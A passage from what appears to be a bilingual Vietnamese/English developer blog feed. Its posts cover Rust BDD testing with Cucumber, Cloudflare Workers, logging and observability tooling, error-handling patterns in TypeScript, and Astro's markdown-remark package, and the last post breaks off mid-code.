  As a client of the web service
  I want to register a new user
  So that I can access protected resources

  Scenario: Successfully registering a new user
    Given the web server is running
    When I send a POST request to "/users" with username "alice"
    Then the response status should be 201
    And the response body should contain "User alice created successfully"

3. Triển khai World và Step Definitions

"World" trong Cucumber đại diện cho trạng thái chia sẻ giữa các scenario. Tạo tests/cucumber.rs:

use cucumber::{given, when, then, World};
use reqwest::Client;

#[derive(Debug, World)]
#[world(init)]
pub struct ApiWorld {
    client: Client,
    server_url: String,
    status_code: Option<u16>,
    response_body: Option<String>,
}

#[given("the web server is running")]
async fn server_is_running(world: &mut ApiWorld) {
    world.client = Client::new();
    world.server_url = "http://127.0.0.1:8080".to_string();
}

#[when(expr = "I send a POST request to {string} with username {string}")]
async fn send_post_request(world: &mut ApiWorld, path: String, username: String) {
    let url = format!("{}{}", world.server_url, path);
    let res = world.client
        .post(&url)
        .json(&serde_json::json!({ "username": username }))
        .send()
        .await
        .expect("Failed to execute request");

    world.status_code = Some(res.status().as_u16());
    world.response_body = Some(res.text().await.unwrap_or_default());
}

#[then(expr = "the response status should be {int}")]
async fn verify_status_code(world: &mut ApiWorld, expected_status: u16) {
    assert_eq!(world.status_code, Some(expected_status));
}

#[then(expr = "the response body should contain {string}")]
async fn verify_response_body(world: &mut ApiWorld, expected_text: String) {
    let body = world.response_body.as_ref().expect("No response body");
    assert!(body.contains(&expected_text));
}

#[tokio::main]
async fn main() {
    ApiWorld::cucumber()
        .run("tests/features/user_api.feature")
        .await;
}

4. Chạy BDD Tests

Chạy test suite với Cargo:

cargo test --test cucumber

Cucumber sẽ phân tích kịch bản Gherkin, giao tiếp với ứng dụng Rust và hiển thị kết quả xanh!

Best Practices cho Rust BDD

Cô lập State: Đảm bảo World struct reset sạch giữa các scenario. Nếu dùng database, spin up container tạm (qua Testcontainers-rs) hoặc dùng transaction rollback cho mỗi scenario.
Step Tái sử dụng: Thiết kế Gherkin steps với tham số (dùng {string} hoặc {int}) để dùng chung cho nhiều endpoint thay vì viết step mới cho từng route.
Xử lý async gọn gàng: Tận dụng Tokio multi-threaded runtime bên trong step definitions để xử lý concurrent web request dễ dàng.

Kết luận

Xây dựng web app với Rust cho bạn hiệu năng và độ tin cậy vượt trội. Tích hợp Cucumber framework giúp kết nối khoảng cách giữa thực thi kỹ thuật và yêu cầu nghiệp vụ, đảm bảo web service của bạn không chỉ nhanh và an toàn — mà còn làm đúng việc cần làm.

Tài liệu tham khảo

BDD in Rust: Building Web Apps with Cucumber

Tue, 28 Jul 2026 16:28:56 GMT

When we think of Rust in web development, words like blazing fast, memory safety, and zero-cost abstractions usually come to mind. Rust's strict compiler guarantees that our web services won't suffer from data races or unexpected null pointer exceptions. But how do we ensure that our web application actually fulfills business requirements?

Enter Behavior-Driven Development (BDD) and the Cucumber framework for Rust (cucumber crate).

By combining Rust's powerhouse backend performance with Cucumber's human-readable specifications, teams can build web applications that are both structurally bulletproof and functionally precise.

What is Cucumber in Rust?

Cucumber is a popular BDD testing framework that allows you to write test scenarios in plain, human-readable language using Gherkin syntax (Given-When-Then).

In a Rust ecosystem, the cucumber crate acts as a test harness runner. It parses your .feature files and maps them directly to native Rust asynchronous functions (step definitions). This gives you the best of both worlds:

Business-facing, executable specifications.
The safety, speed, and concurrency of native Rust code.

Why Use Rust and Cucumber for Web Development?

Living Documentation: Feature files serve as up-to-date documentation that product owners, QA, and developers can all read and understand.
Compile-Time and Runtime Confidence: Rust catches memory and typing bugs at compile time, while Cucumber ensures your application logic matches real-world user workflows.
Async Native: Modern Rust web frameworks (like Axum, Actix-web, or Warp) are heavily asynchronous. The Rust Cucumber implementation natively supports async/await, making it seamless to test HTTP endpoints and database calls.

Step-by-Step: Setting Up Cucumber in a Rust Web Project

Let's walk through a basic setup for testing a web API route using Rust and Cucumber.

1. Configure Cargo.toml

First, add your dependencies. You will need cucumber, an async runtime like tokio, and a way to make HTTP requests against your web server (like reqwest).

[package]
name = "rust_web_bdd"
version = "0.1.0"
edition = "2021"

[[test]]
name = "cucumber"
harness = false

[dependencies]
axum = "0.7"
tokio = { version = "1.0", features = ["full"] }
serde = { version = "1.0", features = ["derive"] }

[dev-dependencies]
cucumber = "0.20"
reqwest = { version = "0.11", features = ["json"] }

2. Write Your Gherkin Feature File

Create a directory named tests/features/ and add a file called user_api.feature:

Feature: User Management API
  As a client of the web service
  I want to register a new user
  So that I can access protected resources

  Scenario: Successfully registering a new user
    Given the web server is running
    When I send a POST request to "/users" with username "alice"
    Then the response status should be 201
    And the response body should contain "User alice created successfully"

3. Implement the World and Step Definitions

The "World" in Cucumber represents the state shared across a single scenario. Create tests/cucumber.rs:

use cucumber::{given, when, then, World};
use reqwest::Client;

#[derive(Debug, World)]
#[world(init)]
pub struct ApiWorld {
    client: Client,
    server_url: String,
    status_code: Option<u16>,
    response_body: Option<String>,
}

#[given("the web server is running")]
async fn server_is_running(world: &mut ApiWorld) {
    world.client = Client::new();
    world.server_url = "http://127.0.0.1:8080".to_string();
}

#[when(expr = "I send a POST request to {string} with username {string}")]
async fn send_post_request(world: &mut ApiWorld, path: String, username: String) {
    let url = format!("{}{}", world.server_url, path);
    let res = world.client
        .post(&url)
        .json(&serde_json::json!({ "username": username }))
        .send()
        .await
        .expect("Failed to execute request");

    world.status_code = Some(res.status().as_u16());
    world.response_body = Some(res.text().await.unwrap_or_default());
}

#[then(expr = "the response status should be {int}")]
async fn verify_status_code(world: &mut ApiWorld, expected_status: u16) {
    assert_eq!(world.status_code, Some(expected_status));
}

#[then(expr = "the response body should contain {string}")]
async fn verify_response_body(world: &mut ApiWorld, expected_text: String) {
    let body = world.response_body.as_ref().expect("No response body");
    assert!(body.contains(&expected_text));
}

#[tokio::main]
async fn main() {
    ApiWorld::cucumber()
        .run("tests/features/user_api.feature")
        .await;
}

4. Run Your BDD Tests

Execute your test suite using Cargo:

cargo test --test cucumber

Watch as Cucumber parses your human-readable Gherkin script, spins up or communicates with your Rust application blocks, and outputs green results!

Best Practices for Rust BDD

Isolate State: Ensure your World struct resets cleanly between scenarios. If you use a database, spin up an ephemeral container (like via Testcontainers-rs) or use transaction rollbacks for each test scenario.
Keep Steps Reusable: Design your Gherkin steps with parameters (using {string} or {int}) so they can scale across multiple endpoints rather than writing a new step for every single route.
Handle Async Cleanly: Leverage Tokio's multi-threaded runtime features inside your step definitions to handle concurrent web requests effortlessly.

Conclusion

Building web applications in Rust gives you unmatched performance and reliability. By integrating the Cucumber framework, you bridge the gap between technical execution and business requirements, ensuring your web services aren't just fast and safe — they are built to do the right thing.

References

Cloudflare Workers — Serverless Ở Biên Toàn Cầu

Tue, 28 Jul 2026 00:00:00 GMT

Cloudflare Workers chạy code ở 330+ datacenter trên toàn cầu — gần user nhất, không cold start, giá rẻ.

Workers vs Lambda

| | Cloudflare Workers | AWS Lambda | |---|---|---| | Runtime | V8 Isolates | Container | | Cold start | ~0ms (luôn warm) | ~100-500ms | | Regions | 330+ | Tự chọn region | | Price | $0.30/million req | $0.20/million req + duration | | Duration | 30s CPU, 5min (fetch) | 15 phút | | Memory | 128MB (free) | 128MB-10GB |

Hello World

export default {
  async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
    return new Response('Hello from the edge!', {
      headers: {
        'Content-Type': 'text/plain',
        'x-edge-location': request.cf?.colo || 'unknown',
      },
    });
  },
};

Routing

import { Router } from 'itty-router';

const router = Router();

router.get('/api/users', async (request) => {
  const users = await getUsers();
  return Response.json(users);
});

router.get('/api/users/:id', async (request) => {
  const { id } = request.params;
  const user = await getUser(id);
  if (!user) {
    return new Response('Not found', { status: 404 });
  }
  return Response.json(user);
});

router.post('/api/users', async (request) => {
  const body = await request.json();
  const user = await createUser(body);
  return Response.json(user, { status: 201 });
});

router.all('*', () => new Response('Not found', { status: 404 }));

export default {
  fetch: router.handle,
};

Storage — KV, R2, D1

KV — Key-Value Store

// wrangler.jsonc
{
  "kv_namespaces": [
    { "binding": "CACHE", "id": "abc123" }
  ]
}

// Read
const cached = await env.CACHE.get('user:123', 'json');
if (cached) return Response.json(cached);

// Write
const user = await fetchUser(123);
await env.CACHE.put('user:123', JSON.stringify(user), {
  expirationTtl: 3600, // 1 giờ
});

// List
const list = await env.CACHE.list({ prefix: 'user:', limit: 100 });

R2 — Object Storage (S3-compatible)

const object = await env.BUCKET.get('images/avatar.jpg');
if (!object) return new Response('Not found', { status: 404 });

return new Response(object.body, {
  headers: {
    'Content-Type': object.httpMetadata?.contentType || 'image/jpeg',
    'Cache-Control': 'public, max-age=31536000',
  },
});

// Upload
await env.BUCKET.put('uploads/file.pdf', request.body, {
  httpMetadata: { contentType: 'application/pdf' },
});

D1 — SQLite Database

// Schema
const db = env.DB;
await db.exec(`
  CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL,
    email TEXT UNIQUE NOT NULL
  )
`);

// Query
const users = await db.prepare('SELECT * FROM users WHERE id = ?').bind(1).all();
const user = users.results[0];

// Prepared statement
const stmt = db.prepare('INSERT INTO users (name, email) VALUES (?1, ?2)');
await stmt.bind('Alice', 'alice@example.com').run();

Env — Environment Variables

// wrangler.jsonc
{
  "vars": {
    "API_URL": "https://api.example.com",
    "LOG_LEVEL": "info"
  }
}

// TypeScript
interface Env {
  API_URL: string;
  LOG_LEVEL: string;
  CACHE: KVNamespace;
  DB: D1Database;
  BUCKET: R2Bucket;
  AI: Ai;
}

Cron Triggers

export default {
  async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) {
    switch (event.cron) {
      case '*/5 * * * *':
        await syncData(env);
        break;
      case '0 0 * * *':
        await cleanupOldRecords(env);
        break;
    }
  },
};

{
  "triggers": {
    "crons": ["*/5 * * * *", "0 0 * * *"]
  }
}

Workers AI

Built-in AI inference at the edge:

async function translateText(text: string, env: Env) {
  const response = await env.AI.run('@cf/meta/m2m100-1.2b', {
    text,
    source_lang: 'vietnamese',
    target_lang: 'english',
  });
  return response;
}

async function generateImage(prompt: string, env: Env) {
  const response = await env.AI.run('@cf/stabilityai/stable-diffusion-xl-base-1.0', {
    prompt,
  });
  return new Response(response.image, {
    headers: { 'Content-Type': 'image/png' },
  });
}

Wrangler — CLI

# Init
npm create cloudflare@latest my-worker -- --type=hello-world

# Dev
npx wrangler dev

# Deploy
npx wrangler deploy

# Production
npx wrangler deploy --env production

# Logs
npx wrangler tail

# Secrets
npx wrangler secret put API_KEY

WebSocket

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const upgradeHeader = request.headers.get('Upgrade');
    if (upgradeHeader !== 'websocket') {
      return new Response('Expected websocket', { status: 426 });
    }

    const [client, server] = Object.values(new WebSocketPair());
    server.accept();

    server.addEventListener('message', (event) => {
      server.send(`Echo: ${event.data}`);
    });

    server.addEventListener('close', () => {
      console.log('WebSocket closed');
    });

    return new Response(null, { status: 101, webSocket: client });
  },
};

Deploy từ GitHub

# .github/workflows/deploy.yml
name: Deploy Worker

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Deploy to Cloudflare
        uses: cloudflare/wrangler-action@v3
        with:
          apiToken: ${{ secrets.CF_API_TOKEN }}

Middleware Pattern

// auth.ts
export async function withAuth(request: Request, env: Env) {
  const token = request.headers.get('Authorization')?.split('Bearer ')[1];
  if (!token) {
    return new Response('Unauthorized', { status: 401 });
  }
  // Verify token
  const user = await verifyToken(token, env.JWT_SECRET);
  if (!user) {
    return new Response('Invalid token', { status: 401 });
  }
  request.user = user;
}

// cors.ts
export function withCors(response: Response) {
  response.headers.set('Access-Control-Allow-Origin', '*');
  response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  return response;
}

Best Practices

// 1. Cache everything có thể
const cacheKey = `api:${request.url}`;
const cached = await env.CACHE.get(cacheKey);
if (cached) return new Response(cached);

// 2. Response early, process late (ctx.waitUntil)
ctx.waitUntil(logAnalytics(request));

// 3. Streaming response
const stream = new ReadableStream({
  async start(controller) {
    controller.enqueue(new TextEncoder().encode('Hello '));
    await delay(100);
    controller.enqueue(new TextEncoder().encode('World'));
    controller.close();
  },
});
return new Response(stream);

// 4. Error handling
try {
  return await handleRequest(request, env);
} catch (err) {
  console.error('Handler failed:', err);
  return new Response('Internal error', { status: 500 });
}

Kết Luận

Cloudflare Workers là nền tảng serverless edge tốt nhất hiện tại: không cold start, 330+ locations, giá rẻ. Kết hợp KV (cache), R2 (file), D1 (SQLite), AI (inference) — bạn có thể xây dựng toàn bộ ứng dụng mà không cần server truyền thống.

Tài liệu tham khảo

Logging & Monitoring — ELK, Grafana, OpenTelemetry

Mon, 27 Jul 2026 00:00:00 GMT

Observability là khả năng hiểu hệ thống từ output của nó — logs, metrics, traces. Không có observability, bạn đang bay mù.

Three Pillars of Observability

LOGS:    "User 123 just paid $50"
METRICS: "Error rate: 0.1%, P95 latency: 250ms"
TRACES:  "Request abc took 500ms: auth(50ms) → api(200ms) → db(250ms)"

Structured Logging

JSON Format — Machine Readable

// ❌ Tệ
console.log(`User ${userId} logged in from ${ip}`);

// ✅ Tốt — structured JSON
logger.info({
  event: 'user.login',
  userId: 123,
  ip: '192.168.1.1',
  timestamp: new Date().toISOString(),
  duration: 150,
});

Pino — Fastest Logger for Node.js

import pino from 'pino';

const logger = pino({
  level: process.env.LOG_LEVEL || 'info',
  transport: process.env.NODE_ENV === 'development'
    ? { target: 'pino-pretty' } // Đẹp cho dev
    : undefined,
  redact: {
    paths: ['req.headers.authorization', 'req.body.password', 'db.query'],
    censor: '[REDACTED]',
  },
  serializers: {
    req: pino.stdSerializers.req,
    err: pino.stdSerializers.err,
  },
});

// Express middleware
app.use(pinoHttp({ logger }));

// Usage
app.get('/api/users/:id', async (req, res) => {
  logger.info({ userId: req.params.id }, 'Fetching user');
  try {
    const user = await db.user.findUnique({ where: { id: req.params.id } });
    logger.info({ userId: req.params.id, found: !!user }, 'User fetched');
    res.json(user);
  } catch (err) {
    logger.error({ err, userId: req.params.id }, 'Failed to fetch user');
    res.status(500).json({ error: 'Internal error' });
  }
});

Log Levels

logger.fatal('System crashed — cannot recover');  // 60
logger.error('Payment failed');                     // 50
logger.warn('Rate limit approaching');              // 40
logger.info('User registered');                     // 30
logger.debug('Query: SELECT * FROM users');         // 20
logger.trace('Entering function x');                // 10

Production nên set level info hoặc warn. debug và trace chỉ cho development.

Metrics — Đo Lường

Prometheus + OpenMetrics

import prometheus from 'prom-client';

// Collect metrics
const register = new prometheus.Registry();
prometheus.collectDefaultMetrics({ register });

// Custom metrics
const httpRequestDuration = new prometheus.Histogram({
  name: 'http_request_duration_seconds',
  help: 'HTTP request duration in seconds',
  labelNames: ['method', 'route', 'status'],
  buckets: [0.01, 0.05, 0.1, 0.5, 1, 2, 5],
  registers: [register],
});

const activeUsers = new prometheus.Gauge({
  name: 'active_users',
  help: 'Number of active users',
  registers: [register],
});

// Express middleware
app.use((req, res, next) => {
  const end = httpRequestDuration.startTimer();
  res.on('finish', () => {
    end({ method: req.method, route: req.route?.path || 'unknown', status: res.statusCode });
  });
  next();
});

// Metrics endpoint
app.get('/metrics', async (req, res) => {
  res.set('Content-Type', register.contentType);
  res.end(await register.metrics());
});

RED Metrics (Microservices)

const requestRate = new prometheus.Counter({
  name: 'requests_total',
  help: 'Total requests',
  labelNames: ['service', 'method'],
});

const errorRate = new prometheus.Counter({
  name: 'errors_total',
  help: 'Total errors',
  labelNames: ['service', 'error_type'],
});

const latency = new prometheus.Histogram({
  name: 'request_duration_seconds',
  help: 'Request latency',
  labelNames: ['service'],
  buckets: [0.01, 0.05, 0.1, 0.5, 1],
});

Distributed Tracing

Theo dõi một request xuyên qua nhiều service:

import { trace, context } from '@opentelemetry/api';
import { NodeTracerProvider } from '@opentelemetry/sdk-trace-node';
import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';
import { BatchSpanProcessor } from '@opentelemetry/sdk-trace-base';

// Setup
const provider = new NodeTracerProvider();
provider.addSpanProcessor(new BatchSpanProcessor(new OTLPTraceExporter()));
provider.register();

// Manual tracing
const tracer = trace.getTracer('order-service');

async function createOrder(userId: number, items: Item[]) {
  const span = tracer.startSpan('createOrder', {
    attributes: { userId, itemCount: items.length },
  });

  return await context.with(trace.setSpan(context.active(), span), async () => {
    try {
      const user = await getUser(userId); // span con tự động
      const total = await calculatePrice(items);
      const order = await saveOrder(user, items, total);
      span.setStatus({ code: SpanStatusCode.OK });
      return order;
    } catch (err) {
      span.recordException(err);
      span.setStatus({ code: SpanStatusCode.ERROR });
      throw err;
    } finally {
      span.end();
    }
  });
}

Auto-instrumentation (không cần sửa code)

node --require @opentelemetry/auto-instrumentations-node/register app.js

Tự động trace HTTP, gRPC, DB queries, Redis, etc.

ELK Stack — Centralized Logging

App → Filebeat/Logstash → Elasticsearch → Kibana

Docker Compose

services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.15.0
    environment:
      - discovery.type=single-node

  kibana:
    image: docker.elastic.co/kibana/kibana:8.15.0
    ports:
      - "5601:5601"
    depends_on:
      - elasticsearch

  logstash:
    image: docker.elastic.co/logstash/logstash:8.15.0
    volumes:
      - ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf

Grafana Stack

App → Prometheus (metrics) → Grafana (dashboard)
App → Loki (logs) → Grafana
App → Tempo (traces) → Grafana

Docker Compose

services:
  prometheus:
    image: prom/prometheus
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"

  grafana:
    image: grafana/grafana
    ports:
      - "3000:3000"
    environment:
      - GF_AUTH_ANONYMOUS_ENABLED=true

  loki:
    image: grafana/loki
    ports:
      - "3100:3100"

  tempo:
    image: grafana/tempo
    ports:
      - "3200:3200"
      - "4317:4317"  # OTLP gRPC

Dashboard Mẫu (Grafana)

{
  "panels": [
    {
      "title": "Request Rate",
      "type": "graph",
      "targets": [{
        "expr": "rate(http_requests_total[5m])",
        "legendFormat": "{{route}}"
      }]
    },
    {
      "title": "P95 Latency",
      "type": "heatmap",
      "targets": [{
        "expr": "histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m]))"
      }]
    },
    {
      "title": "Error Rate",
      "type": "stat",
      "targets": [{
        "expr": "sum(rate(errors_total[5m])) / sum(rate(requests_total[5m])) * 100"
      }]
    }
  ]
}

Alerting

# prometheus-alerts.yml
groups:
  - name: api-alerts
    rules:
      - alert: HighErrorRate
        expr: rate(errors_total[5m]) > 0.01
        for: 5m
        labels:
          severity: critical
        annotations:
          summary: "Error rate > 1% for 5 minutes"

      - alert: HighLatency
        expr: histogram_quantile(0.95, rate(http_request_duration_seconds_bucket[5m])) > 2
        for: 5m
        labels:
          severity: warning

Sức Khỏe Hệ Thống — Health Check

app.get('/health', async (req, res) => {
  const checks = {
    database: { status: 'healthy' },
    redis: { status: 'healthy' },
    externalAPI: { status: 'healthy' },
  };

  try {
    await db.$queryRaw`SELECT 1`;
  } catch {
    checks.database = { status: 'unhealthy', error: 'Cannot connect' };
  }

  const allHealthy = Object.values(checks).every(c => c.status === 'healthy');
  res.status(allHealthy ? 200 : 503).json({
    status: allHealthy ? 'healthy' : 'degraded',
    checks,
    uptime: process.uptime(),
  });
});

Kết Luận

Observability không phải "cài tool là xong". Nó là văn hóa:

Logs — structured JSON, đủ context để debug
Metrics — RED (Rate, Errors, Duration) cho API
Traces — theo dõi request xuyên service
Dashboard — visualize để phát hiện bất thường
Alert — thông báo khi có vấn đề

Bắt đầu với: JSON logs → Prometheus metrics → Grafana dashboard. Thêm tracing và alert khi scale.

Tài liệu tham khảo

Error Handling — Pattern Cho Ứng Dụng Sản Phẩm

Sun, 26 Jul 2026 00:00:00 GMT

Error handling quyết định reliability của ứng dụng. Code không xử lý lỗi đúng cách là code không sẵn sàng cho production.

Error Types

// 1. Operational Error — lỗi có thể dự đoán
//    - Validation fails
//    - Network timeout
//    - Rate limit exceeded
//    → Nên handle graceful

// 2. Programmer Error — bug
//    - TypeError, ReferenceError
//    - Logic sai
//    → Nên crash hoặc restart

// 3. System Error — lỗi infrastructure
//    - DB connection lost
//    - Disk full
//    → Nên retry hoặc failover

Custom Error Hierarchy

// Base AppError
export class AppError extends Error {
  constructor(
    public message: string,
    public statusCode: number = 500,
    public code?: string,
    public details?: unknown,
  ) {
    super(message);
    this.name = this.constructor.name;
  }
}

// Concrete errors
export class NotFoundError extends AppError {
  constructor(resource: string, id: string | number) {
    super(`${resource} with id ${id} not found`, 404, 'NOT_FOUND');
  }
}

export class ValidationError extends AppError {
  constructor(errors: Record<string, string[]>) {
    super('Validation failed', 400, 'VALIDATION_ERROR', errors);
  }
}

export class UnauthorizedError extends AppError {
  constructor(message = 'Unauthorized') {
    super(message, 401, 'UNAUTHORIZED');
  }
}

export class ConflictError extends AppError {
  constructor(message: string) {
    super(message, 409, 'CONFLICT');
  }
}

Result Pattern — Không Try/Catch Tràn Lan

// Discriminated union
type Result<T, E = AppError> =
  | { success: true; data: T }
  | { success: false; error: E };

async function findUser(id: number): Promise<Result<User>> {
  try {
    const user = await db.user.findUnique({ where: { id } });
    if (!user) {
      return { success: false, error: new NotFoundError('User', id) };
    }
    return { success: true, data: user };
  } catch (err) {
    return { success: false, error: new AppError('Database error') };
  }
}

// Usage — pattern matching
const result = await findUser(1);
if (!result.success) {
  // TypeScript biết đây là error case
  console.error(result.error.message);
  return response(404, { error: result.error.message });
}
// TypeScript biết đây là success case
console.log(result.data.name);

Express Error Handler

// Controller wrapper
function asyncHandler(fn: Function) {
  return (req: Request, res: Response, next: NextFunction) => {
    Promise.resolve(fn(req, res, next)).catch(next);
  };
}

// Routes
app.get('/users/:id', asyncHandler(async (req, res) => {
  const user = await findUser(req.params.id);
  res.json(user);
}));

// Global error handler (4 params)
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  // Log full error
  logger.error({ err, path: req.path, method: req.method });

  // Operational error
  if (err instanceof AppError) {
    return res.status(err.statusCode).json({
      error: {
        code: err.code,
        message: err.message,
        details: err.details,
      },
    });
  }

  // Programmer error — không leak detail
  return res.status(500).json({
    error: {
      code: 'INTERNAL_ERROR',
      message: 'Something went wrong',
    },
  });
});

Retry Pattern

async function withRetry<T>(
  fn: () => Promise<T>,
  options: {
    maxRetries?: number;
    baseDelay?: number;
    maxDelay?: number;
  } = {},
): Promise<T> {
  const { maxRetries = 3, baseDelay = 1000, maxDelay = 10000 } = options;

  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    try {
      return await fn();
    } catch (err) {
      if (attempt === maxRetries) throw err;

      // Không retry lỗi validation
      if (err instanceof ValidationError) throw err;

      const delay = Math.min(baseDelay * 2 ** attempt, maxDelay);
      const jitter = delay * (0.5 + Math.random() * 0.5);
      await sleep(jitter);
    }
  }
  throw new Error('Unreachable');
}

// Usage
const data = await withRetry(() => fetchExternalAPI(input), {
  maxRetries: 3,
  baseDelay: 500,
});

Circuit Breaker

class CircuitBreaker {
  private failures = 0;
  private lastFailureTime = 0;
  private state: 'closed' | 'open' | 'half-open' = 'closed';

  constructor(
    private threshold: number = 5,
    private resetTimeout: number = 30000,
  ) {}

  async call<T>(fn: () => Promise<T>): Promise<T> {
    if (this.state === 'open') {
      if (Date.now() - this.lastFailureTime > this.resetTimeout) {
        this.state = 'half-open';
      } else {
        throw new Error('Circuit breaker is open');
      }
    }

    try {
      const result = await fn();
      this.failures = 0;
      this.state = 'closed';
      return result;
    } catch (err) {
      this.failures++;
      this.lastFailureTime = Date.now();
      if (this.failures >= this.threshold) {
        this.state = 'open';
      }
      throw err;
    }
  }
}

// Usage
const breaker = new CircuitBreaker(5, 30000);
app.get('/api/external', async (req, res) => {
  try {
    const data = await breaker.call(() => externalService.fetch());
    res.json(data);
  } catch {
    res.status(503).json({ error: 'Service temporarily unavailable' });
  }
});

Graceful Degradation

Khi service phụ thuộc fail — app vẫn hoạt động (có thể giảm chức năng):

async function getUserProfile(userId: number) {
  const user = await db.user.findUnique({ where: { id: userId } });
  if (!user) throw new NotFoundError('User', userId);

  // Recommendations là không critical
  let recommendations: Recommendation[] = [];
  try {
    recommendations = await recommendationService.get(userId);
  } catch (err) {
    logger.warn({ err }, 'Recommendation service unavailable');
    // Degrade gracefully — empty recommendations
  }

  return { ...user, recommendations };
}

Logging Errors

// Cấu trúc log chuẩn
logger.error({
  err,                      // Error object
  requestId: req.id,
  userId: req.user?.id,
  path: req.path,
  method: req.method,
  duration: Date.now() - start,
  // Không log: password, token, secret
});

Monitoring — Error Tracking

// Error tracking (Sentry, Datadog, etc.)
import * as Sentry from '@sentry/node';

Sentry.init({ dsn: process.env.SENTRY_DSN });

app.use(Sentry.Handlers.requestHandler());
app.use(Sentry.Handlers.errorHandler());

// Capture manually
try {
  await processPayment();
} catch (err) {
  Sentry.captureException(err, {
    tags: { feature: 'payment' },
    extra: { orderId, amount },
  });
}

Checklist

[ ] Custom error classes (AppError → NotFoundError, ValidationError...)
[ ] Global error handler (không try/catch mỗi route)
[ ] Retry với exponential backoff + jitter
[ ] Circuit breaker cho external dependencies
[ ] Graceful degradation khi service phụ fail
[ ] Structured error log (không console.error)
[ ] Error tracking (Sentry, Datadog)
[ ] Không leak internal error detail ra response

Kết Luận

Error handling là tính năng — không phì phụ. Result pattern cho type safety. Custom errors cho dễ debug. Retry + circuit breaker cho resilience. Graceful degradation cho user experience. Đầu tư vào error handling ngay từ đầu — không phải sau khi production crash.

Tài liệu tham khảo

@astrojs/markdown-remark — Xử Lý Markdown Trong Astro

Sun, 26 Jul 2026 00:00:00 GMT

Nếu bạn từng xây dựng blog, trang tài liệu (documentation), hoặc portfolio bằng Astro, chắc chắn bạn đã biết framework này hỗ trợ tệp .md tốt đến mức nào. Nhưng bạn có bao giờ tự hỏi điều gì diễn ra phía sau hậu trường khi Astro biến những dòng mã Markdown thô kệch thành các trang HTML tĩnh đẹp mắt và tối ưu SEO?

Câu trả lời chính là @astrojs/markdown-remark — gói thư viện cốt lõi (core package) vận hành toàn bộ hệ thống xử lý nội dung của Astro.

Trong bài viết này, chúng ta sẽ cùng mổ xẻ xem @astrojs/markdown-remark là gì, cách nó hoạt động và làm thế nào để làm chủ sức mạnh của nó nhằm tùy biến website theo ý muốn.

1. @astrojs/markdown-remark Là Gì?

@astrojs/markdown-remark là một package nội bộ được tích hợp sẵn trong Astro. Nhiệm vụ duy nhất nhưng tối quan trọng của nó là: Phân tích cú pháp (parse), biến đổi và biên dịch các tệp Markdown thành mã HTML.

Thay vì tự xây dựng một trình biên dịch từ đầu, Astro đứng trên vai những người khổng lồ. Gói này tích hợp hệ sinh thái Unified, cụ thể là:

Remark: Trình biên dịch để chuyển đổi nội dung Markdown thành cấu trúc cây cú pháp trừu tượng (MDast — Markdown Abstract Syntax Tree).
Rehype: Trình biên dịch làm việc với HTML (HAST — HTML Abstract Syntax Tree) để tối ưu hóa và xuất ra mã HTML cuối cùng.

Khi bạn chạy lệnh bun run build hoặc sử dụng Content Collections, Astro sẽ âm thầm gọi @astrojs/markdown-remark để xử lý các tệp nội dung của bạn.

2. Các Tính Năng Cốt Lõi Vận Hành Website Của Bạn

Mặc dù hoạt động ngầm, gói thư viện này cung cấp những tính năng nền tảng mà bạn sử dụng hàng ngày:

Trích xuất Frontmatter (Metadata)

Mỗi bài viết Markdown thường bắt đầu bằng đoạn mã YAML như:

---
title: 'Bài viết đầu tiên'
pubDate: 2026-07-26
author: 'Astro Developer'
---

@astrojs/markdown-remark chịu trách nhiệm bóc tách phần này, chuyển nó thành một object JavaScript để bạn dễ dàng truyền vào Layout hoặc các component của Astro dưới dạng {frontmatter}.

Tích hợp sẵn Shiki và Prism để Highlight Code

Bạn có bao giờ thắc mắc tại sao các khối mã (code block) trong bài viết của bạn lại tự động có màu sắc bắt mắt? Gói thư viện này tích hợp sẵn Shiki (mặc định) và Prism, cho phép tự động phân tích cú pháp (syntax highlighting) cho hàng trăm ngôn ngữ lập trình ngay từ lúc build.

Tự động tạo ID cho Tiêu đề (Headings)

Mọi thẻ ## Tiêu đề trong bài viết của bạn sẽ được tự động chuyển thành <h2 id="tieu-de">Tiêu đề</h2>. Điều này giúp bạn dễ dàng tạo các liên kết neo (anchor links) trỏ thẳng đến từng phần của bài viết.

3. Cách Tự Cấu Hình và Mở Rộng Sức Mạnh

Điểm tuyệt vời nhất của @astrojs/markdown-remark là tính mở rộng thông qua hệ sinh thái plugin khổng lồ của Remark và Rehype. Bạn không cần cài đặt trực tiếp gói này vì Astro đã bọc sẵn cấu hình thông qua tệp astro.config.mjs.

Dưới đây là cách bạn có thể can thiệp vào pipeline xử lý để thêm các tính năng nâng cao:

Ví dụ 1: Thêm plugin tự động tạo mục lục (Table of Contents)

Nếu bạn muốn bài viết tự động sinh ra mục lục từ các thẻ H2, H3, bạn có thể cài đặt plugin remark-toc:

bun add remark-toc

Sau đó cấu hình trong astro.config.mjs:

import { defineConfig } from 'astro/config';
import remarkToc from 'remark-toc';

export default defineConfig({
  markdown: {
    // Tích hợp trực tiếp vào pipeline của @astrojs/markdown-remark
    remarkPlugins: [
      [remarkToc, { heading: 'Mục lục' }] // Tự động chèn TOC dưới tiêu đề "Mục lục"
    ],
  },
});

Ví dụ 2: Tự viết tính năng "Thời gian đọc bài" (Reading Time)

Bạn cũng có thể tận dụng API của @astrojs/markdown-remark để can thiệp vào thuộc tính frontmatter của tệp khi đang build.

Hãy tạo một plugin nhỏ để tính số chữ và suy ra thời gian đọc:

import { defineConfig } from 'astro/config';
import getReadingTime from 'reading-time'; // bun add reading-time
import { toString } from 'mdast-util-to-string';

// Plugin tùy chỉnh dựa trên kiến trúc remark của Astro
function remarkReadingTime() {
